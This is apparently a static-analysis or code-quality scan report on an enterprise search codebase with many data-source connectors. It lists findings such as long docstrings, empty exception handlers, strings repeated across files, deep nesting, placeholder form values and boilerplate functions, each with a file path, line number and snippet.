HIGH…ectors/sources/atlassian/confluence_cloud/connector.py4316 Fetch page or blogpost styled_view HTML from Confluence using v2 API. Resolves URLs, inlines same-origSTRING
HIGH…ectors/sources/atlassian/confluence_cloud/connector.py5557 Stream attachment file content from Confluence Cloud. Args: record: Record with external_rSTRING
HIGH…s/sources/atlassian/confluence_datacenter/connector.py4455 Fetch page or blogpost HTML from Confluence using v1 unified content API. Args: page_id: TSTRING
HIGH…s/sources/atlassian/confluence_datacenter/connector.py4528 Fetch comment HTML content from Confluence based on record type. Args: record: CommentRecoSTRING
HIGH…s/sources/atlassian/confluence_datacenter/connector.py4598 Stream attachment file content from Confluence. Downloads the full file with retry before yielding so STRING
HIGH…/connectors/sources/servicenow/servicenow/connector.py679 Fetch article HTML content from ServiceNow kb_knowledge table. Args: article_sys_id: The sSTRING
HIGH…/connectors/sources/servicenow/servicenow/connector.py739 Fetch attachment file content from ServiceNow. Uses the attachment download API: GET /api/now/attachmeSTRING
HIGHbackend/python/app/connectors/api/router.py703 FastAPI dependency to validate user authentication, retrieve connector instance, check beta access, and verify STRING
HIGHbackend/python/app/connectors/api/router.py1652 Convert a file buffer to PDF and return as a streaming response. Args: buffer: The file buffer (StreamSTRING
HIGHbackend/python/app/connectors/api/router.py3114 Decode OAuth state to extract original state and connector_id. Args: encoded_state: Encoded state strinSTRING
HIGHbackend/python/app/connectors/api/router.py3186 Get all available connector types from registry. This endpoint returns connector types that can be configured,STRING
HIGHbackend/python/app/connectors/api/router.py4052 Create a new connector instance. Request body should contain: - connector_type: Type of connector (from reSTRING
HIGHbackend/python/app/connectors/api/router.py4343 Get a specific connector instance by its key. Args: connector_id: Unique instance key (_key) rSTRING
HIGHbackend/python/app/connectors/api/router.py4432 Get configuration for a specific connector instance. Returns both registry metadata and instance-specific confSTRING
HIGHbackend/python/app/connectors/api/router.py4769 Update authentication configuration for a connector instance. Request body must contain: - auth: AuthenticSTRING
HIGHbackend/python/app/connectors/api/router.py5116 Update filters and sync configuration for a connector instance. Request body can contain: - sync: Sync setSTRING
HIGHbackend/python/app/connectors/api/router.py5270 Update configuration for a connector instance. Request body can contain: - auth: Authentication configuratSTRING
HIGHbackend/python/app/connectors/api/router.py5698 Extract and validate user authentication context from request. Args: request: FastAPI request object STRING
HIGHbackend/python/app/connectors/api/router.py5797 Retrieve connector instance and validate access. Args: connector_id: Connector instance ID useSTRING
HIGHbackend/python/app/connectors/api/router.py5973 Build OAuth flow configuration from either shared OAuth config or direct auth config. Args: auth_confiSTRING
HIGHbackend/python/app/connectors/api/router.py6120 Get OAuth authorization URL for a connector instance. Args: connector_id: Unique instance key STRING
HIGHbackend/python/app/connectors/api/router.py6838 Get filter options for a connector instance. Args: connector_id: Unique instance key request: STRING
HIGHbackend/python/app/connectors/api/router.py6971 Get dynamic options for a specific filter field with pagination support. This endpoint fetches the initializedSTRING
HIGHbackend/python/app/connectors/api/router.py7165 Save filter selections for a connector instance. Args: connector_id: Unique instance key requeSTRING
HIGHbackend/python/app/connectors/api/router.py7435 Ensure connector is initialized in container. If not, initialize it. Callers must hold ``connector_init_lock(cSTRING
HIGHbackend/python/app/connectors/api/router.py7612 Toggle connector instance active status and trigger sync events. Args: connector_id: Unique instance kSTRING
HIGHbackend/python/app/connectors/api/router.py8138 Get connector schema from registry. Args: connector_type: Type of connector request: FastAPI rSTRING
HIGHbackend/python/app/connectors/api/router.py8352 Get all available connector/toolset types that have OAuth configurations registered. This endpoint returns conSTRING
HIGHbackend/python/app/connectors/api/router.py8408 Get OAuth registry information for a specific connector type. This endpoint returns the OAuth configuration deSTRING
HIGHbackend/python/app/connectors/api/router.py9091 Create a new OAuth configuration for a connector type (Admin only). Request body should contain: - oauthInSTRING
HIGHbackend/python/app/connectors/api/router.py9318 Get a specific OAuth configuration by ID. For admins: Returns full config including sensitive fields (clientIdSTRING
588 more matches not shown…
Empty Error Handlers442 hits · 2205 pts
SeverityFileLineSnippetContext
HIGH…s/connectors/azure_files/azure_files_storage_helper.py72except ResourceExistsError:CODE
HIGH…s/connectors/azure_files/azure_files_storage_helper.py174except HttpResponseError:CODE
HIGHintegration-tests/connectors/gitlab/gitlab_expected.py363except ValueError:CODE
HIGH…ion-tests/connectors/linear/linear_integration_test.py731except Exception:CODE
HIGH…on-tests/connectors/google_drive_workspace/conftest.py155except Exception:CODE
HIGH…on-tests/connectors/google_drive_workspace/conftest.py517except Exception:CODE
HIGH…tegration-tests/connectors/cifs/cifs_storage_helper.py86except Exception:CODE
HIGH…tegration-tests/connectors/cifs/cifs_storage_helper.py113except Exception:CODE
HIGH…tegration-tests/connectors/cifs/cifs_storage_helper.py124except Exception:CODE
HIGHintegration-tests/connectors/jira/jira_test_utils.py937except (TypeError, ValueError):CODE
HIGHintegration-tests/connectors/smb/smb_storage_helper.py92except OSError:CODE
HIGHintegration-tests/connectors/smb/smb_storage_helper.py130except OSError:CODE
HIGHintegration-tests/connectors/smb/smb_storage_helper.py141except OSError:CODE
HIGHintegration-tests/connectors/gcs/gcs_storage_helper.py33except (TypeError, ValueError, OSError):CODE
HIGHintegration-tests/storage/storage_client.py205except ValueError:CODE
HIGHintegration-tests/examples/integration_test_examples.py174except requests.ConnectionError:CODE
HIGHintegration-tests/mcp_package/conftest.py115except Exception: # noqa: BLE001 - teardown must not mask test resultsCODE
HIGH…enterprise-search/projects/integration_test_project.py293except Exception:CODE
HIGH…on/enterprise-search/agents/integration_test_agents.py239except Exception:CODE
HIGH…se-search/search/integration_test_record_visibility.py225except Exception: # noqa: BLE001 - teardown must not fail the runCODE
HIGH…ations/integration_test_agent_conversation_feedback.py139except Exception:CODE
HIGH…sations/integration_test_agent_conversation_listing.py100except Exception:CODE
HIGH…sations/integration_test_conversation_non_streaming.py146except Exception: # noqa: BLE001 - best-effort cleanupCODE
HIGH…versations/integration_test_agent_attachment_upload.py106except Exception:CODE
HIGH…versations/integration_test_agent_attachment_upload.py168except Exception:CODE
HIGH…s/integration_test_agent_conversation_update_delete.py111except Exception:CODE
HIGHintegration-tests/response-validation/mcp/conftest.py68except Exception: # noqa: BLE001 - teardown must not mask test resultsCODE
HIGH…on-tests/response-validation/knowledgebase/conftest.py148except requests.RequestException:CODE
HIGH…on-tests/response-validation/knowledgebase/conftest.py176except requests.RequestException:CODE
HIGH…on-tests/response-validation/knowledgebase/conftest.py355except requests.RequestException:CODE
HIGH…on-tests/response-validation/knowledgebase/conftest.py255except requests.RequestException:CODE
HIGH…ion/knowledgebase/integration_test_permissions_crud.py127except requests.RequestException:CODE
HIGH…e-validation/user_management/integration_test_teams.py262except Exception:CODE
HIGH…dation/user_management/integration_test_user_groups.py85except Exception:CODE
HIGHintegration-tests/perf/bench_scale.py448except OSError:CODE
HIGHintegration-tests/perf/stack.py245except OSError:CODE
HIGHintegration-tests/helper/pipeshub_client.py73except Exception:CODE
HIGHintegration-tests/helper/kb_upload_sse.py112except ValueError:CODE
HIGHintegration-tests/helper/connector_lifecycle.py56except ImportError:CODE
HIGHintegration-tests/helper/connector_lifecycle.py62except ImportError:CODE
HIGHintegration-tests/helper/connector_lifecycle.py68except ImportError:CODE
HIGHintegration-tests/helper/rate_limit_window.py35except ValueError:CODE
HIGHintegration-tests/helper/mongo_store.py285except (InvalidId, TypeError):CODE
HIGHintegration-tests/helper/ai_models_setup.py560except Exception:CODE
HIGHintegration-tests/helper/ai_models_setup.py800except Exception:CODE
HIGHintegration-tests/helper/integration_report.py332except Exception:CODE
HIGHintegration-tests/messaging/conftest.py161except Exception:CODE
HIGHintegration-tests/messaging/conftest.py241except Exception:CODE
HIGHintegration-tests/messaging/conftest.py180except Exception:CODE
HIGHintegration-tests/messaging/conftest.py370except Exception:CODE
HIGHintegration-tests/messaging/conftest.py376except Exception:CODE
HIGHintegration-tests/messaging/test_e2e_record_pipeline.py323except Exception:CODE
HIGHintegration-tests/messaging/test_e2e_record_pipeline.py345except Exception:CODE
HIGHintegration-tests/messaging/test_e2e_record_pipeline.py389except Exception:CODE
HIGHintegration-tests/messaging/test_e2e_record_pipeline.py431except Exception:CODE
HIGHintegration-tests/messaging/test_e2e_record_pipeline.py500except Exception:CODE
HIGHintegration-tests/messaging/test_e2e_record_pipeline.py710except Exception:CODE
HIGHintegration-tests/messaging/test_e2e_user_events.py335except Exception:CODE
HIGHintegration-tests/sample-data/sample_data.py79except (subprocess.CalledProcessError, subprocess.TimeoutExpired):CODE
HIGHbackend/python/app/docling_main.py125except asyncio.CancelledError:CODE
382 more matches not shown…
Cross-File Repetition409 hits · 2045 pts
SeverityFileLineSnippetContext
HIGH…individual/google_drive_individual_integration_test.py0disable then re-enable the connector to trigger a fresh incremental sync.STRING
HIGH…ion-tests/connectors/linear/linear_integration_test.py0disable then re-enable the connector to trigger a fresh incremental sync.STRING
HIGH…s/google_drive_workspace/drive_workspace_test_utils.py0disable then re-enable the connector to trigger a fresh incremental sync.STRING
HIGH…connectors/azure_files/azure_files_integration_test.py0gcs connector – integration tests =================================== tests receive a fully set-up connector via the ``gSTRING
HIGHintegration-tests/connectors/s3/s3_integration_test.py0gcs connector – integration tests =================================== tests receive a fully set-up connector via the ``gSTRING
HIGH…s/connectors/azure_blob/azure_blob_integration_test.py0gcs connector – integration tests =================================== tests receive a fully set-up connector via the ``gSTRING
HIGH…tegration-tests/connectors/gcs/gcs_integration_test.py0gcs connector – integration tests =================================== tests receive a fully set-up connector via the ``gSTRING
HIGH…connectors/azure_files/azure_files_integration_test.py0tc-sync-001: after full sync, validate the graph thoroughly.STRING
HIGHintegration-tests/connectors/s3/s3_integration_test.py0tc-sync-001: after full sync, validate the graph thoroughly.STRING
HIGH…ation-tests/connectors/minio/minio_integration_test.py0tc-sync-001: after full sync, validate the graph thoroughly.STRING
HIGH…s/connectors/azure_blob/azure_blob_integration_test.py0tc-sync-001: after full sync, validate the graph thoroughly.STRING
HIGH…connectors/azure_files/azure_files_integration_test.py0tc-incr-001: upload new files, run incremental sync, verify: - new files appear as new records in the graph - existing rSTRING
HIGHintegration-tests/connectors/s3/s3_integration_test.py0tc-incr-001: upload new files, run incremental sync, verify: - new files appear as new records in the graph - existing rSTRING
HIGH…tegration-tests/connectors/gcs/gcs_integration_test.py0tc-incr-001: upload new files, run incremental sync, verify: - new files appear as new records in the graph - existing rSTRING
HIGH…connectors/azure_files/azure_files_integration_test.py0tc-update-001: overwrite an existing blob with new content. after sync: - the record still exists (updated in place) - rSTRING
HIGHintegration-tests/connectors/s3/s3_integration_test.py0tc-update-001: overwrite an existing blob with new content. after sync: - the record still exists (updated in place) - rSTRING
HIGH…s/connectors/azure_blob/azure_blob_integration_test.py0tc-update-001: overwrite an existing blob with new content. after sync: - the record still exists (updated in place) - rSTRING
HIGHintegration-tests/connectors/s3/s3_storage_helper.py0delete everything under this run's folder, and nothing else.STRING
HIGH…sts/connectors/azure_blob/azure_blob_storage_helper.py0delete everything under this run's folder, and nothing else.STRING
HIGHintegration-tests/connectors/gcs/gcs_storage_helper.py0delete everything under this run's folder, and nothing else.STRING
HIGH…ration-tests/parsers/integration_test_txt_to_blocks.py0serialize to json shape, stripping volatile block/group ids.STRING
HIGH…ation-tests/parsers/integration_test_html_to_blocks.py0serialize to json shape, stripping volatile block/group ids.STRING
HIGH…n-tests/parsers/integration_test_markdown_to_blocks.py0serialize to json shape, stripping volatile block/group ids.STRING
HIGH…ation-tests/parsers/integration_test_yaml_to_blocks.py0serialize to json shape, stripping volatile block/group ids.STRING
HIGHintegration-tests/storage/test_upload_rollback.py0local currently creates v0 eagerly; s3 keeps lazy v0 materialization.STRING
HIGHintegration-tests/storage/test_versioning.py0local currently creates v0 eagerly; s3 keeps lazy v0 materialization.STRING
HIGHintegration-tests/storage/test_metadata_integrity.py0local currently creates v0 eagerly; s3 keeps lazy v0 materialization.STRING
HIGH…/base/data_processor/data_source_entities_processor.py0return this connector's records of ``record_type``.STRING
HIGH…thon/app/connectors/core/base/data_store/data_store.py0return this connector's records of ``record_type``.STRING
HIGH…pp/connectors/core/base/data_store/graph_data_store.py0return this connector's records of ``record_type``.STRING
HIGH…d/python/app/connectors/sources/nextcloud/connector.py0extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, createdSTRING
HIGHbackend/python/app/connectors/sources/box/connector.py0extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, createdSTRING
HIGH…ctors/sources/microsoft/sharepoint_online/connector.py0extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, createdSTRING
HIGH…d/python/app/connectors/sources/bookstack/connector.py0extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, createdSTRING
HIGH…end/python/app/connectors/sources/dropbox/connector.py0extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, createdSTRING
HIGH…app/connectors/sources/dropbox_individual/connector.py0extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, createdSTRING
HIGH…ython/app/connectors/sources/github_teams/connector.py0record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolvesSTRING
HIGH…kend/python/app/connectors/sources/gitlab/connector.py0record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolvesSTRING
HIGH…kend/python/app/connectors/sources/linear/connector.py0record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolvesSTRING
HIGH…ectors/sources/atlassian/jira_data_center/connector.py0record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolvesSTRING
HIGH…s/sources/atlassian/confluence_datacenter/connector.py0record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolvesSTRING
HIGH…python/app/connectors/sources/azure_files/connector.py0reindex records by checking for updates at source and publishing reindex events.STRING
HIGH…end/python/app/connectors/sources/s3/base_connector.py0reindex records by checking for updates at source and publishing reindex events.STRING
HIGH…p/connectors/sources/google_cloud_storage/connector.py0reindex records by checking for updates at source and publishing reindex events.STRING
HIGH…/python/app/connectors/sources/azure_blob/connector.py0reindex records by checking for updates at source and publishing reindex events.STRING
HIGH…python/app/connectors/sources/azure_files/connector.py0check if record has been updated at source and fetch updated data.STRING
HIGH…end/python/app/connectors/sources/s3/base_connector.py0check if record has been updated at source and fetch updated data.STRING
HIGH…p/connectors/sources/google_cloud_storage/connector.py0check if record has been updated at source and fetch updated data.STRING
HIGH…/python/app/connectors/sources/azure_blob/connector.py0check if record has been updated at source and fetch updated data.STRING
HIGH…end/python/app/connectors/sources/s3/base_connector.py0process the unchanged blobs that have no record of their own, when that is safe. the connectors take equal content at a STRING
HIGH…p/connectors/sources/google_cloud_storage/connector.py0process the unchanged blobs that have no record of their own, when that is safe. the connectors take equal content at a STRING
HIGH…/python/app/connectors/sources/azure_blob/connector.py0process the unchanged blobs that have no record of their own, when that is safe. the connectors take equal content at a STRING
HIGH…end/python/app/connectors/sources/s3/base_connector.py0whether ``record``'s blob is still listed. a check that fails counts as yes: taking a copy for a move would lose the oriSTRING
HIGH…p/connectors/sources/google_cloud_storage/connector.py0whether ``record``'s blob is still listed. a check that fails counts as yes: taking a copy for a move would lose the oriSTRING
HIGH…/python/app/connectors/sources/azure_blob/connector.py0whether ``record``'s blob is still listed. a check that fails counts as yes: taking a copy for a move would lose the oriSTRING
HIGH…/app/connectors/sources/google/drive/team/connector.py0parse datetime object or string to epoch timestamp in milliseconds.STRING
HIGH…onnectors/sources/google/drive/individual/connector.py0parse datetime object or string to epoch timestamp in milliseconds.STRING
HIGH…app/connectors/sources/microsoft/onedrive/connector.py0parse datetime object or string to epoch timestamp in milliseconds.STRING
HIGH…/app/connectors/sources/google/drive/team/connector.py0handle different types of record updates (new, updated, deleted).STRING
HIGH…onnectors/sources/google/drive/individual/connector.py0handle different types of record updates (new, updated, deleted).STRING
349 more matches not shown…
Deep Nesting1591 hits · 1022 pts
SeverityFileLineSnippetContext
LOW…gration-tests/connectors/demo/demo_integration_test.py302CODE
LOWintegration-tests/connectors/github_teams/conftest.py116CODE
LOW…tegration-tests/connectors/gitlab/gitlab_test_utils.py641CODE
LOW…tegration-tests/connectors/linear/linear_test_utils.py265CODE
LOW…tegration-tests/connectors/linear/linear_test_utils.py437CODE
LOW…tegration-tests/connectors/linear/linear_test_utils.py814CODE
LOWintegration-tests/connectors/notion/notion_seed.py522CODE
LOWintegration-tests/connectors/notion/notion_expected.py85CODE
LOW…ration-tests/connectors/notion/notion_source_helper.py196CODE
LOWintegration-tests/connectors/jira/jira_test_utils.py289CODE
LOWintegration-tests/connectors/jira/jira_test_utils.py372CODE
LOWintegration-tests/connectors/jira/jira_test_utils.py474CODE
LOWintegration-tests/connectors/jira/jira_test_utils.py662CODE
LOWintegration-tests/connectors/jira/jira_test_utils.py779CODE
LOWintegration-tests/connectors/jira/jira_test_utils.py1106CODE
LOWintegration-tests/connectors/jira/jira_test_utils.py1125CODE
LOWintegration-tests/connectors/jira/conftest.py88CODE
LOW…ests/connectors/confluence/confluence_v1_test_utils.py97CODE
LOWintegration-tests/connectors/smb/smb_storage_helper.py52CODE
LOWintegration-tests/connectors/smb/smb_storage_helper.py55CODE
LOW…tion-tests/unit/test_connector_types_are_registered.py34CODE
LOW…tion-tests/unit/test_connector_types_are_registered.py67CODE
LOW…tion-tests/unit/test_connector_types_are_registered.py147CODE
LOW…tion-tests/unit/test_connector_types_are_registered.py167CODE
LOW…tion-tests/unit/test_connector_types_are_registered.py115CODE
LOW…tion-tests/unit/test_connector_types_are_registered.py150CODE
LOWintegration-tests/permissions/conftest.py84CODE
LOW…ion-tests/permissions/test_conditional_admin_routes.py92CODE
LOW…ion-tests/permissions/test_conditional_admin_routes.py96CODE
LOWintegration-tests/cleanup/test_folder_scope.py46CODE
LOW…egration-tests/resilience/test_vector_store_rebuild.py329CODE
LOWintegration-tests/resilience/test_storage_unwritable.py41CODE
LOWintegration-tests/examples/integration_test_examples.py148CODE
LOW…on/enterprise-search/agents/integration_test_agents.py178CODE
LOW…-search/conversations/integration_test_conversation.py165CODE
LOW…-search/conversations/integration_test_conversation.py216CODE
LOW…-search/conversations/integration_test_conversation.py270CODE
LOW…-search/conversations/integration_test_conversation.py318CODE
LOW…rsations/integration_test_agent_conversation_stream.py120CODE
LOW…rsations/integration_test_agent_conversation_stream.py199CODE
LOW…versations/integration_test_agent_attachment_upload.py113CODE
LOW…e-validation/user_management/integration_test_teams.py62CODE
LOW…dation/user_management/integration_test_user_groups.py130CODE
LOW…response-validation/helper/openapi_schema_validator.py175CODE
LOW…tests/response-validation/helper/response_validator.py345CODE
LOW…tests/response-validation/helper/response_validator.py383CODE
LOWintegration-tests/perf/bench_scale.py233CODE
LOWintegration-tests/perf/bench_scale.py142CODE
LOWintegration-tests/perf/stack.py92CODE
LOWintegration-tests/perf/stack.py144CODE
LOWintegration-tests/perf/stack.py167CODE
LOWintegration-tests/perf/bench_query.py274CODE
LOWintegration-tests/perf/bench_indexing.py144CODE
LOWintegration-tests/perf/corpus.py171CODE
LOWintegration-tests/helper/admin_routes.py62CODE
LOWintegration-tests/helper/admin_routes.py115CODE
LOWintegration-tests/helper/admin_routes.py196CODE
LOWintegration-tests/helper/admin_routes.py222CODE
LOWintegration-tests/helper/vector_store.py253CODE
LOWintegration-tests/helper/pipeshub_client.py175CODE
1531 more matches not shown…
Fake / Example Data1008 hits · 820 pts
SeverityFileLineSnippetContext
LOWfrontend/app/mock-data/connectors/registry.json47 "placeholder": "Enter your Azure AD Application ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json61 "placeholder": "Enter your Azure AD Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json75 "placeholder": "Enter your Azure AD Tenant ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json89 "placeholder": "",CODE
LOWfrontend/app/mock-data/connectors/registry.json103 "placeholder": "http://localhost:3001/connectors/oauth/callback/onedrive",CODE
LOWfrontend/app/mock-data/connectors/registry.json397 "placeholder": "Enter your Azure AD Application ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json411 "placeholder": "Enter your Azure AD Tenant ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json425 "placeholder": "",CODE
LOWfrontend/app/mock-data/connectors/registry.json439 "placeholder": "https://your-domain.sharepoint.com",CODE
LOWfrontend/app/mock-data/connectors/registry.json784 "placeholder": "Enter your Azure AD Application ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json798 "placeholder": "Enter your Azure AD Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json812 "placeholder": "Enter your Azure AD Tenant ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json826 "placeholder": "",CODE
LOWfrontend/app/mock-data/connectors/registry.json840 "placeholder": "connectors/Outlook/oauth/callback",CODE
LOWfrontend/app/mock-data/connectors/registry.json1085 "placeholder": "Enter your Client ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json1099 "placeholder": "Enter your Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json1438 "placeholder": "Enter your Atlassian Cloud Application ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json1452 "placeholder": "Enter your Atlassian Cloud Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json1690 "placeholder": "Enter your Box Developer Console Application (Client) ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json1704 "placeholder": "Enter your Box Developer Console Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json1718 "placeholder": "Enter your Box Enterprise ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json1996 "placeholder": "Enter your Client ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json2010 "placeholder": "Enter your Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json2356 "placeholder": "Enter your Client ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json2370 "placeholder": "Enter your Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json2579 "placeholder": "Enter your Client ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json2593 "placeholder": "Enter your Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json2920 "placeholder": "https://your-instance.service-now.com",CODE
LOWfrontend/app/mock-data/connectors/registry.json2934 "placeholder": "https://your-instance.service-now.com/oauth_auth.do",CODE
LOWfrontend/app/mock-data/connectors/registry.json2948 "placeholder": "https://your-instance.service-now.com/oauth_token.do",CODE
LOWfrontend/app/mock-data/connectors/registry.json2962 "placeholder": "Enter your Client ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json2976 "placeholder": "Enter your Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json3368 "placeholder": "https://bookstack.example.com",CODE
LOWfrontend/app/mock-data/connectors/registry.json3382 "placeholder": "YourTokenID",CODE
LOWfrontend/app/mock-data/connectors/registry.json3396 "placeholder": "YourTokenSecret",CODE
LOWfrontend/app/mock-data/connectors/registry.json3584 "placeholder": "Enter your Access Key",CODE
LOWfrontend/app/mock-data/connectors/registry.json3598 "placeholder": "Enter your Secret Key",CODE
LOWfrontend/app/mock-data/connectors/registry.json3883 "placeholder": "http://localhost:9000 or https://minio.example.com",CODE
LOWfrontend/app/mock-data/connectors/registry.json3897 "placeholder": "Enter your MinIO Access Key",CODE
LOWfrontend/app/mock-data/connectors/registry.json3911 "placeholder": "Enter your MinIO Secret Key",CODE
LOWfrontend/app/mock-data/connectors/registry.json3925 "placeholder": "",CODE
LOWfrontend/app/mock-data/connectors/registry.json3939 "placeholder": "",CODE
LOWfrontend/app/mock-data/connectors/registry.json4142 "placeholder": "Click to upload service account JSON file",CODE
LOWfrontend/app/mock-data/connectors/registry.json4427 "placeholder": "DefaultEndpointsProtocol=https;AccountName=...",CODE
LOWfrontend/app/mock-data/connectors/registry.json4712 "placeholder": "DefaultEndpointsProtocol=https;AccountName=...;AccountKey=...;EndpoiCODE
LOWfrontend/app/mock-data/connectors/registry.json4993 "placeholder": "Enter your Linear OAuth Client ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json5007 "placeholder": "Enter your Linear OAuth Client Secret",CODE
LOWfrontend/app/mock-data/connectors/registry.json5284 "placeholder": "Enter your Client ID",CODE
LOWfrontend/app/mock-data/connectors/registry.json5298 "placeholder": "Enter your Client Secret",CODE
LOWfrontend/app/mock-data/connectors/active_list.json207 "placeholder": "Enter your Azure AD Application ID",CODE
LOWfrontend/app/mock-data/connectors/active_list.json221 "placeholder": "Enter your Azure AD Tenant ID",CODE
LOWfrontend/app/mock-data/connectors/active_list.json235 "placeholder": "",CODE
LOWfrontend/app/mock-data/connectors/active_list.json249 "placeholder": "https://your-domain.sharepoint.com",CODE
LOWfrontend/app/mock-data/connectors/active_list.json604 "placeholder": "Enter your Azure AD Application ID",CODE
LOWfrontend/app/mock-data/connectors/active_list.json618 "placeholder": "Enter your Azure AD Client Secret",CODE
LOWfrontend/app/mock-data/connectors/active_list.json632 "placeholder": "Enter your Azure AD Tenant ID",CODE
LOWfrontend/app/mock-data/connectors/active_list.json646 "placeholder": "",CODE
LOWfrontend/app/mock-data/connectors/active_list.json660 "placeholder": "http://localhost:3001/connectors/oauth/callback/onedrive",CODE
LOWfrontend/app/mock-data/connectors/active_list.json963 "placeholder": "Enter your Azure AD Application ID",CODE
LOWfrontend/app/mock-data/connectors/active_list.json977 "placeholder": "Enter your Azure AD Client Secret",CODE
948 more matches not shown…
Modern Structural Boilerplate756 hits · 752 pts
SeverityFileLineSnippetContext
LOWintegration-tests/conftest.py78def _setup_neo4j_env_vars() -> None:CODE
LOWintegration-tests/conftest.py95def _setup_arango_env_vars() -> None:CODE
LOWintegration-tests/connectors/demo/conftest.py32logger = logging.getLogger(__name__)CODE
LOW…-tests/connectors/bookstack/bookstack_source_helper.py75 def set_admin_email(self, email: str) -> None:CODE
LOW…-tests/connectors/bookstack/bookstack_source_helper.py95 def update_page(self, page_id: int, markdown: str) -> None:CODE
LOW…-tests/connectors/bookstack/bookstack_source_helper.py126 def set_page_role_view(self, page_id: int, role_id: int, *, view: bool) -> None:CODE
LOWintegration-tests/connectors/notion/notion_seed.py848__all__ = [CODE
LOW…ration-tests/connectors/zammad/zammad_source_helper.py130 def update_ticket_title(self, ticket_id: int, title: str) -> None:CODE
LOW…ration-tests/connectors/zammad/zammad_source_helper.py150 def set_user_groups(self, user_id: int, group_ids: list[int]) -> None:CODE
LOW…on-tests/connectors/postgres/postgres_source_helper.py87 def update_body(self, table: str, title: str, body: str) -> None:CODE
LOWintegration-tests/permissions/conftest.py26logger = logging.getLogger(__name__)CODE
LOW…tests/permissions/authenticated_as_integration_test.py45logger = logging.getLogger(__name__)CODE
LOWintegration-tests/storage/conftest.py99def _set_storage_backend(client: PipeshubClient, backend: str) -> None:CODE
LOW…on/enterprise-search/agents/integration_test_agents.py41logger = logging.getLogger(__name__)CODE
LOW…on/enterprise-search/search/integration_test_search.py44 def _setup(self, search_client: SearchClient, session_kb: dict[str, str]) -> None:CODE
LOW…sations/integration_test_agent_conversation_listing.py47logger = logging.getLogger(__name__)CODE
LOW⚡…n/configuration-manager/integration_test_web_search.py46 def _setup(self, config_client: ConfigClient) -> None:CODE
LOW…ation-tests/response-validation/auth/utils/__init__.py12__all__ = [CODE
LOW…n-tests/response-validation/auth/utils/auth_helpers.py20__all__ = [CODE
LOW…lidation/knowledgebase/integration_test_folder_crud.py23 def _setup(self, pipeshub_client: PipeshubClient) -> None:CODE
LOW…ion/knowledgebase/integration_test_permissions_crud.py134 def _setup(self, pipeshub_client: PipeshubClient) -> None:CODE
LOW…ion/knowledgebase/integration_test_permissions_crud.py335 def _setup(self, pipeshub_client: PipeshubClient) -> None:CODE
LOW…ion/knowledgebase/integration_test_permissions_crud.py419 def _setup(self, pipeshub_client: PipeshubClient) -> None:CODE
LOW…ion/knowledgebase/integration_test_permissions_crud.py635 def _setup(self, pipeshub_client: PipeshubClient) -> None:CODE
LOW…dgebase/integration_test_knowledgebase_records_crud.py26 def _setup(self, pipeshub_client: PipeshubClient) -> None:CODE
LOW…n/knowledgebase/integration_test_knowledgebase_crud.py23 def _setup(self, pipeshub_client: PipeshubClient) -> None:CODE
LOW…dation/knowledgebase/integration_test_upload_limits.py22 def _setup(self, pipeshub_client: PipeshubClient) -> None:CODE
LOW…alidation/connector/integration_test_record_content.py31 def _setup(self, pipeshub_client: PipeshubClient) -> None:CODE
LOW⚡…e-validation/user_management/integration_test_users.py116 def _setup(self, users_client: UsersClient) -> None:CODE
LOW⚡…e-validation/user_management/integration_test_users.py124 def _setup_groups(self, user_groups_client: UserGroupsClient) -> None:CODE
LOW…nse-validation/user_management/integration_test_org.py68 def _setup(self, org_client: OrgClient) -> None:CODE
LOW…dation/user_management/integration_test_user_groups.py65 def _setup(self, user_groups_client: UserGroupsClient) -> None:CODE
LOW…dation/user_management/integration_test_user_groups.py73 def _setup_users(self, users_client: UsersClient) -> None:CODE
LOW…model-providers/integration_test_ai_model_providers.py114 def _setup(self, ai_models_client: AIModelsClient) -> None:CODE
LOW⚡…ation/oauth_provider/integration_test_oauthProvider.py125 def _setup_credentials(self, oauth_credentials: dict) -> None:CODE
LOW⚡…ation/oauth_provider/integration_test_oauthProvider.py158 def _setup_credentials(self, oauth_credentials: dict) -> None:CODE
LOW⚡…ation/oauth_provider/integration_test_oauthProvider.py202 def _setup_credentials(self, oauth_credentials: dict) -> None:CODE
LOW⚡…ation/oauth_provider/integration_test_oauthProvider.py262 def _setup_credentials(self, oauth_credentials: dict) -> None:CODE
LOW⚡…ation/oauth_provider/integration_test_oauthProvider.py361 def _setup_credentials(self, oauth_credentials: dict) -> None:CODE
LOW⚡…ation/oauth_provider/integration_test_oauthProvider.py386 def _setup_credentials(self, oauth_credentials: dict) -> None:CODE
LOW…ation/oauth_provider/integration_test_oauthProvider.py72 def _setup(self, oauth_provider_client: OAuthProviderClient) -> None:CODE
